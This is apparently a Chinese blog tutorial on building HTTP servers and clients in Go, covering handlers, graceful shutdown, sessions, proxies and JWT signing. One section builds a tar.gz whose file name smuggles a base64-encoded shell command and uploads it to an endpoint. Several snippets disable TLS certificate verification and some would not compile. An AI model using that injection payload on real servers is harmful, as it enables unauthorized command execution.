• 用go实现http服务端和请求端


    一、概述

            本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

    二、代码实现

    2.1 构造http服务端

    1、http服务处理流程

    基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

    • 使用http.HandleFunc实现http服务,返回hello world
    1. package main
    2. import (
    3. "fmt"
    4. "net/http"
    5. )
    6. func HelloHandler(w http.ResponseWriter, r *http.Request) {
    7. fmt.Fprintf(w, "Hello World")
    8. }
    9. func main () {
    10. http.HandleFunc("/", HelloHandler)
    11. http.ListenAndServe(":8000", nil)
    12. }
    • 使用http.Handle实现http服务
    1. package main
    2. import (
    3. "fmt"
    4. "net/http"
    5. )
    6. type HelloHandlerStruct struct {
    7. content string
    8. }
    9. //必须实现此方法,且名称为ServerHTTP
    10. func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    11. fmt.Fprintf(w, handler.content)
    12. }
    13. func main() {
    14. http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
    15. http.ListenAndServe(":8000", nil)
    16. }
    • 优雅的关闭http服务
    1. package main
    2. import (
    3. "context"
    4. "fmt"
    5. "io/ioutil"
    6. "log"
    7. "net/http"
    8. "os"
    9. "os/signal"
    10. "syscall"
    11. "time"
    12. )
    13. type EchoHandler struct{}
    14. func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
    15. // 设置响应头
    16. writer.Header().Add("X-Data", "foo")
    17. // 设置相应的cookie
    18. http.SetCookie(writer, &http.Cookie{
    19. Name: "x-cookie",
    20. Value: "bar",
    21. MaxAge: 86400,
    22. Secure: true,
    23. })
    24. //设置响应状态码为200
    25. writer.WriteHeader(200)
    26. // 设置响应体,打印网络请求信息
    27. fmt.Fprintln(writer, "===== Network =====")
    28. fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
    29. fmt.Fprintln(writer)
    30. // 设置响应体,打印请求方法 url host 协议信息
    31. fmt.Fprintln(writer, "===== Request Line =====")
    32. fmt.Fprintln(writer, "Method: ", request.Method)
    33. fmt.Fprintln(writer, "URL: ", request.URL)
    34. fmt.Fprintln(writer, "Host: ", request.Host)
    35. //fmt.Fprintln(writer, "URI: ", request.RequestURI)
    36. fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
    37. request.ProtoMajor, request.ProtoMinor)
    38. fmt.Fprintln(writer)
    39. // 设置输出请求的请求头
    40. fmt.Fprintln(writer, "===== Header =====")
    41. for k, v := range request.Header {
    42. fmt.Fprintf(writer, "%v: %v\n", k, v)
    43. }
    44. fmt.Fprintln(writer)
    45. // 设置输出请求的body
    46. body, err := ioutil.ReadAll(request.Body)
    47. if err == nil && len(body) > 0 {
    48. fmt.Fprintln(writer, "===== Raw Body =====")
    49. fmt.Fprintln(writer, string(body))
    50. }
    51. }
    52. func main() {
    53. // 创建系统信号接收器
    54. done := make(chan os.Signal)
    55. signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)
    56. // 创建 HTTP 服务器
    57. server := &http.Server{
    58. Addr: ":8000",
    59. Handler: EchoHandler{},
    60. }
    61. // 启动 HTTP 服务器
    62. go func() {
    63. log.Println("Server starting...")
    64. if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
    65. log.Fatalf("ListenAndServe: %v", err)
    66. }
    67. }()
    68. // 监听系统信号并执行关闭操作
    69. <-done
    70. log.Println("Server shutting down...")
    71. // 创建一个超时上下文,确保关闭操作不会无限期等待
    72. ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    73. defer cancel()
    74. if err := server.Shutdown(ctx); err != nil {
    75. log.Fatal("Shutdown server:", err)
    76. }
    77. log.Println("Server gracefully stopped")
    78. }

    2.2 构建http客户端

    1、基本介绍及使用

    net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

    func (c *Client) Get(url string) (r *Response, err error)
    func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
    func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
    func (c *Client) Head(url string) (r *Response, err error)
    func (c *Client) Do(req *Request) (resp *Response, err error)

    基本的代码实现:

    1. package main
    2. import (
    3. "bytes"
    4. "fmt"
    5. "io/ioutil"
    6. "net/http"
    7. )
    8. func main() {
    9. // 目标 URL
    10. baseUrl := "http://localhost"
    11. // 执行 GET 请求
    12. doGet(baseUrl + "/gettest")
    13. // 执行 POST 请求
    14. doPost(baseUrl + "/posttest")
    15. // 执行 POST Form 请求
    16. doPostForm(baseUrl + "/postform")
    17. }
    18. func doGet(url string) {
    19. response, err := http.Get(url)
    20. if err != nil {
    21. fmt.Println("GET request failed:", err)
    22. return
    23. }
    24. defer response.Body.Close()
    25. body, err := ioutil.ReadAll(response.Body)
    26. if err != nil {
    27. fmt.Println("Error reading response:", err)
    28. return
    29. }
    30. fmt.Println("GET Response:")
    31. fmt.Println(string(body))
    32. }
    33. func doPost(url string) {
    34. // 准备 POST 请求的 JSON 数据
    35. jsonPayload := []byte(`{"key": "value"}`)
    36. response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
    37. if err != nil {
    38. fmt.Println("POST request failed:", err)
    39. return
    40. }
    41. defer response.Body.Close()
    42. body, err := ioutil.ReadAll(response.Body)
    43. if err != nil {
    44. fmt.Println("Error reading response:", err)
    45. return
    46. }
    47. fmt.Println("POST Response:")
    48. fmt.Println(string(body))
    49. }
    50. func doPostForm(url string) {
    51. // 准备 POST Form 数据
    52. data := url.Values{}
    53. data.Add("name", "Alice")
    54. data.Add("age", "30")
    55. response, err := http.PostForm(url, data)
    56. if err != nil {
    57. fmt.Println("POST Form request failed:", err)
    58. return
    59. }
    60. defer response.Body.Close()
    61. body, err := ioutil.ReadAll(response.Body)
    62. if err != nil {
    63. fmt.Println("Error reading response:", err)
    64. return
    65. }
    66. fmt.Println("POST Form Response:")
    67. fmt.Println(string(body))
    68. }

    2、自定义请求头,以及绕过https验证

    1. package main
    2. import (
    3. "fmt"
    4. "net/http"
    5. "net/url"
    6. "strings"
    7. )
    8. func main() {
    9. // 自定义请求头
    10. headers := map[string]string{
    11. "User-Agent": "Your Custom User-Agent",
    12. "Host": "example.com", // 自定义 Host
    13. }
    14. // 目标 URL
    15. targetURL := "https://example.com" // 替换为你的目标 URL
    16. // 创建自定义 Transport
    17. tr := &http.Transport{
    18. TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    19. TLSHandshakeTimeout: 5, // 超时时间(秒)
    20. DisableKeepAlives: true, // 禁用连接复用
    21. IdleConnTimeout: 30, // 空闲连接超时时间(秒)
    22. MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
    23. ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
    24. }
    25. // 创建自定义客户端
    26. client := &http.Client{
    27. Transport: tr,
    28. }
    29. // 发送 GET 请求
    30. response, err := client.Get(targetURL)
    31. if err != nil {
    32. fmt.Println("GET request failed:", err)
    33. return
    34. }
    35. defer response.Body.Close()
    36. // 读取响应内容
    37. body := make([]byte, 1024)
    38. n, err := response.Body.Read(body)
    39. if err != nil {
    40. fmt.Println("Error reading response:", err)
    41. return
    42. }
    43. // 输出响应内容
    44. fmt.Println("Response:")
    45. fmt.Println(string(body[:n]))
    46. }

    3、实现登录后会话保持以及自定义请求头

    1. package main
    2. import (
    3. "fmt"
    4. "net/http"
    5. "net/url"
    6. "strings"
    7. )
    8. func main() {
    9. // 自定义请求头
    10. headers := map[string]string{
    11. "User-Agent": "Your Custom User-Agent",
    12. "Host": "example.com", // 自定义 Host
    13. }
    14. // 目标 URL
    15. baseURL := "https://example.com" // 替换为你的目标 URL
    16. loginURL := baseURL + "/login" // 登录 URL
    17. securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL
    18. // 准备登录请求的数据
    19. loginData := url.Values{
    20. "user": {"admin"},
    21. "pass": {"123456"},
    22. }
    23. // 创建自定义 Transport
    24. tr := &http.Transport{
    25. TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    26. TLSHandshakeTimeout: 5, // 超时时间(秒)
    27. DisableKeepAlives: true, // 禁用连接复用
    28. IdleConnTimeout: 30, // 空闲连接超时时间(秒)
    29. MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
    30. ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
    31. }
    32. // 创建自定义客户端
    33. client := &http.Client{
    34. Transport: tr,
    35. }
    36. // 发送登录请求
    37. loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    38. if err != nil {
    39. fmt.Println("Error creating login request:", err)
    40. return
    41. }
    42. // 设置登录请求的头部和内容类型
    43. loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    44. for key, value := range headers {
    45. loginRequest.Header.Set(key, value)
    46. }
    47. loginResponse, err := client.Do(loginRequest)
    48. if err != nil {
    49. fmt.Println("Login request failed:", err)
    50. return
    51. }
    52. defer loginResponse.Body.Close()
    53. // 获取登录后的 Token
    54. var token string
    55. for _, cookie := range loginResponse.Cookies() {
    56. if cookie.Name == "token" {
    57. token = cookie.Value
    58. break
    59. }
    60. }
    61. if token == "" {
    62. fmt.Println("Login failed. No token received.")
    63. return
    64. }
    65. fmt.Println("Login successful. Token:", token)
    66. // 在后续请求中添加 Token 到请求头
    67. securedRequest, err := http.NewRequest("GET", securedURL, nil)
    68. if err != nil {
    69. fmt.Println("Error creating secured request:", err)
    70. return
    71. }
    72. securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    73. for key, value := range headers {
    74. securedRequest.Header.Set(key, value)
    75. }
    76. securedResponse, err := client.Do(securedRequest)
    77. if err != nil {
    78. fmt.Println("Secured request failed:", err)
    79. return
    80. }
    81. defer securedResponse.Body.Close()
    82. // 读取并输出响应内容
    83. responseBody, err := ioutil.ReadAll(securedResponse.Body)
    84. if err != nil {
    85. fmt.Println("Error reading response body:", err)
    86. return
    87. }
    88. fmt.Println("Secured resource response:")
    89. fmt.Println(string(responseBody))
    90. }

    4、构造一个带特殊字符的压缩包,并且通过接口上传

    1. package main
    2. import (
    3. "archive/tar"
    4. "bytes"
    5. "compress/gzip"
    6. "crypto/tls"
    7. "fmt"
    8. "io"
    9. "io/ioutil"
    10. "mime/multipart"
    11. "net/http"
    12. "os"
    13. )
    14. func main() {
    15. // 压缩文件内容
    16. tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    17. // 发送 HTTP POST 请求
    18. url := "https://example.com/upload" // 替换为你的目标 URL
    19. uploadTarGz(url, tarContent)
    20. }
    21. func generateTarGzContent(filename string) []byte {
    22. var buf bytes.Buffer
    23. gw := gzip.NewWriter(&buf)
    24. tw := tar.NewWriter(gw)
    25. // 添加文件到 tar 压缩包
    26. fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    27. header := &tar.Header{
    28. Name: filename,
    29. Size: int64(len(fileContent)),
    30. }
    31. if err := tw.WriteHeader(header); err != nil {
    32. fmt.Println("写入 tar 头部失败:", err)
    33. os.Exit(1)
    34. }
    35. if _, err := tw.Write(fileContent); err != nil {
    36. fmt.Println("写入文件内容失败:", err)
    37. os.Exit(1)
    38. }
    39. // 关闭 tar 和 gzip 缓冲区
    40. if err := tw.Close(); err != nil {
    41. fmt.Println("关闭 tar 失败:", err)
    42. os.Exit(1)
    43. }
    44. if err := gw.Close(); err != nil {
    45. fmt.Println("关闭 gzip 失败:", err)
    46. os.Exit(1)
    47. }
    48. return buf.Bytes()
    49. }
    50. func uploadTarGz(url string, tarContent []byte) {
    51. // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    52. var requestBody bytes.Buffer
    53. writer := multipart.NewWriter(&requestBody)
    54. // 写入 tar.gz 文件
    55. part, err := writer.CreateFormFile("file", "test.tar.gz")
    56. if err != nil {
    57. fmt.Println("创建表单文件失败:", err)
    58. os.Exit(1)
    59. }
    60. if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
    61. fmt.Println("写入文件内容失败:", err)
    62. os.Exit(1)
    63. }
    64. // 关闭 multipart writer
    65. writer.Close()
    66. // 创建 HTTP 请求
    67. req, err := http.NewRequest("POST", url, &requestBody)
    68. if err != nil {
    69. fmt.Println("创建请求失败:", err)
    70. os.Exit(1)
    71. }
    72. req.Header.Set("Content-Type", writer.FormDataContentType())
    73. // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    74. tr := &http.Transport{
    75. TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    76. }
    77. // 使用自定义 Transport 发起请求
    78. client := &http.Client{Transport: tr}
    79. response, err := client.Do(req)
    80. if err != nil {
    81. fmt.Println("请求失败:", err)
    82. os.Exit(1)
    83. }
    84. defer response.Body.Close()
    85. // 读取响应内容
    86. responseBody, err := ioutil.ReadAll(response.Body)
    87. if err != nil {
    88. fmt.Println("读取响应内容失败:", err)
    89. os.Exit(1)
    90. }
    91. fmt.Println("响应内容:")
    92. fmt.Println(string(responseBody))
    93. }

    5、设置http代理

    1. package main
    2. import (
    3. "fmt"
    4. "net/http"
    5. "net/url"
    6. "os"
    7. )
    8. func main() {
    9. // 创建 HTTP 客户端,并设置代理
    10. proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    11. if err != nil {
    12. fmt.Println("解析代理地址失败:", err)
    13. os.Exit(1)
    14. }
    15. client := &http.Client{
    16. Transport: &http.Transport{
    17. Proxy: http.ProxyURL(proxyURL),
    18. },
    19. }
    20. // 创建 HTTP 请求
    21. url := "https://example.com" // 替换为您要请求的目标 URL
    22. request, err := http.NewRequest("GET", url, nil)
    23. if err != nil {
    24. fmt.Println("创建请求失败:", err)
    25. os.Exit(1)
    26. }
    27. // 发送 HTTP 请求
    28. response, err := client.Do(request)
    29. if err != nil {
    30. fmt.Println("请求失败:", err)
    31. os.Exit(1)
    32. }
    33. defer response.Body.Close()
    34. // 读取响应内容
    35. responseBody := make([]byte, 0)
    36. buffer := make([]byte, 1024)
    37. for {
    38. n, err := response.Body.Read(buffer)
    39. if n > 0 {
    40. responseBody = append(responseBody, buffer[:n]...)
    41. }
    42. if err != nil {
    43. break
    44. }
    45. }
    46. fmt.Println("响应内容:")
    47. fmt.Println(string(responseBody))
    48. }

    6、综合实践 

    1. // 生成jwt token
    2. func CreateJWT(claim jwt.Claims) (string, error) {
    3. //读取 RSA私钥文件
    4. privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
    5. if err != nil {
    6. return "", err
    7. }
    8. //解析RSA私钥
    9. privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
    10. if err != nil {
    11. return "", err
    12. }
    13. //创建jwt
    14. token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)
    15. //使用私钥进行签名
    16. tokenString, err := token.SignedString(privateKey)
    17. return tokenString, nil
    18. }
    19. // 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
    20. func ParseToken(tokenStr string) (interface{}, error) {
    21. //读取RSA公钥文件
    22. publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
    23. if err != nil {
    24. return "", nil
    25. }
    26. //解析RSA 公钥
    27. publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
    28. if err != nil {
    29. return "", err
    30. }
    31. //解析token
    32. token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
    33. if token.Method != jwt.SigningMethodRS256 {
    34. return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])
    35. }
    36. return publicKey, nil
    37. })
    38. //检查解析是否成功
    39. if err != nil {
    40. return nil, err
    41. }
    42. //验证token是否有效
    43. if !token.Valid {
    44. return nil, fmt.Errorf("无效token")
    45. } else if claims, ok := token.Claims.(jwt.MapClaims); ok {
    46. //通过key获取具体的Claims值
    47. fmt.Println("touken有效,正在提取其中的Claims。。。。")
    48. return claims, nil
    49. } else {
    50. return nil, fmt.Errorf("token有效,但是无法提取Claims")
    51. }
    52. }
    53. func GetCookie(token, url string) (string, error) {
    54. //自定义请求头
    55. headers := map[string]string{
    56. "token": token, //利用生成的token
    57. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
    58. "Accept": " application/json, text/plain, */*",
    59. "Accept-Encoding": "gzip, deflate",
    60. "Content-Type": "application/json",
    61. "Accept-Language": "zh-CN,zh;q=0.9",
    62. }
    63. //fmt.Println("\nurl 为", baseurl)
    64. //创建代理
    65. /* proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址
    66. if err != nil {
    67. fmt.Println("解析代理地址失败", err)
    68. os.Exit(1)
    69. } */
    70. // 创建自定义 Transport
    71. tr := &http.Transport{
    72. TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
    73. //TLSHandshakeTimeout: 10, // 超时时间(秒)
    74. DisableKeepAlives: true, // 禁用连接复用
    75. IdleConnTimeout: 30, // 空闲连接超时时间(秒)
    76. MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数
    77. //ResponseHeaderTimeout: 10, // 响应头超时时间(秒)
    78. //Proxy: http.ProxyURL(proxyURL), //设置代理服务器
    79. }
    80. //创建自定义客户端
    81. client := &http.Client{
    82. Transport: tr,
    83. Timeout: time.Second * 10, //设置请求的超时时间
    84. }
    85. //创建JSON请求体
    86. requestBody := map[string]interface{}{
    87. "username": "123456",
    88. "password": "1",
    89. }
    90. //将请求体编码为 JSON格式
    91. jsonData, err := json.Marshal(requestBody)
    92. if err != nil {
    93. fmt.Println("JSON 编码错误", err)
    94. return "", err
    95. }
    96. //创建post请求
    97. request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
    98. if err != nil {
    99. fmt.Println("创建请求错误", err)
    100. return "", err
    101. }
    102. //设置请求头
    103. for key, value := range headers {
    104. request.Header.Set(key, value)
    105. }
    106. //发送POST请求
    107. response, err := client.Do(request)
    108. if err != nil {
    109. fmt.Println("\n请求错误:", err)
    110. return "", err
    111. }
    112. defer response.Body.Close()
    113. /* // 读取响应内容
    114. var responseStr string
    115. buf := new(bytes.Buffer)
    116. _, err = buf.ReadFrom(response.Body)
    117. if err != nil {
    118. return "", err
    119. }
    120. responseStr = buf.String()
    121. // 检查响应状态码
    122. if response.StatusCode != http.StatusOK {
    123. return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
    124. }
    125. return responseStr, nil */
    126. //处理响应:仅针对返回body为json格式数据
    127. var responseBody map[string]interface{}
    128. decoder := json.NewDecoder(response.Body)
    129. if err := decoder.Decode(&responseBody); err != nil {
    130. fmt.Println("响应解析错误", err)
    131. return "", err
    132. }
    133. //输出响应
    134. fmt.Println("响应状态码:", response.Status)
    135. fmt.Println("响应数据ret:", responseBody["ret"])
    136. var retflag float64
    137. retflag = 1
    138. if responseBody["ret"].(float64) == retflag {
    139. setCookieHeaders := response.Header["Set-Cookie"]
    140. return setCookieHeaders[0], nil
    141. } else {
    142. return "", fmt.Errorf("错误信息:%s", responseBody["error"])
    143. }

  • 相关阅读:
    qt exec 跟show的区别
    无代码开发部门入门教程
    嵌入式工程师面试题
    SpringMVC11-拦截器
    什么是空运特殊货物_箱讯科技国际物流管理平台
    网页开发从无到有——html前端学习(一)
    IoT知识点补充
    C#远程调试
    1400*C. Soldier and Cards(贪心&模拟)
    正则表达式
  • 原文地址:https://blog.csdn.net/youuzi/article/details/133268423